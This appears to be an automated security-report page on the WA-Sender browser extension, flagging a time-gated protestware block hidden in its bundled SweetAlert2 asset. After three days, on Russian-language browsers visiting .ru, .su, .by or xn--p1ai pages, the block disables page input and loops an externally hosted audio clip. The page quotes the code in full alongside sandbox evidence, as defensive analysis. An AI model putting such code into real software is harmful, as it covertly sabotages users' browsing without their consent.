Is WA-Sender safe?
WA-Sender is high risk. On a Russian browser on a .ru, .su, .by, or xn--p1ai page, bundled SweetAlert2 stores an initiation time; after 3+ days it disables pointer interaction and loops audio from flag-gimn.ru/.../Ukraina.mp3. PoC confirmed it; no data sent.
Who publishes itwhat-sender.com - no other listings under this identity
what-sender.com - no other listings under this identity
What this publisher told the store about itself, and the other listings that told it the same thing.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
SweetAlert2 asset disables input and loads audio after 3 days
On a Russian browser on a .ru, .su, .by, or xn--p1ai page, bundled SweetAlert2 stores an initiation time; after 3+ days it disables pointer interaction and loops audio from flag-gimn.ru/.../Ukraina.mp3.
PoC confirmed it; no data sent.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-506
- Source
- Dynamic sandbox
You keep the extension installed past the saved 3-day mark.
The code also checks for a Russian browser language and a .ru, .su, .by, or xn--p1ai page.
The page stops accepting pointer interaction and starts a looping audio clip.
The audio source is loaded from flag-gimn.ru.
On every browser startup
The first run stores a start time; later runs compare that stored time with the current date and activate only after the elapsed time is more than 3 days.
- Saved start timeswal-initiation = Sat Apr 13 2026 03:23:49 GMT+0000 (UTC)
This lets the extension decide how long the browser has had this local marker.
- Elapsed-time threshold4.00 days elapsed; condition (>3) is true
This determines when the page changes from normal use to the blocking-and-audio behavior.
- Language and page gatenavigator.language = ru-RU; location.host = example.ru
This limits the behavior to a narrower browsing context rather than every page you visit.
- Page interaction statedocument.body.style.pointerEvents = none
This prevents normal pointer interaction with the page while the style remains applied.
- Audio file locationhttps://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3
This shows the external host contacted to load the audio clip.
The shipped asset contains the complete time-gated block
Readable form of the same block
assets/sa/sweetalert2.jsif ("undefined" != typeof window && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|by|xn--p1ai)$/)) { var no = new Date, oo = localStorage.getItem("swal-initiation"); oo ? (no.getTime() - Date.parse(oo)) / 864e5 > 3 && setTimeout((function() { document.body.style.pointerEvents = "none"; var t = document.createElement("audio"); t.src = "https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3", t.loop = !0, document.body.appendChild(t), setTimeout((function() { t.play().catch((function() {})) }), 2500) }), 500) : localStorage.setItem("swal-initiation", "".concat(no))}- flag-gimn.ru
Hosts the MP3 file assigned to the looping audio element.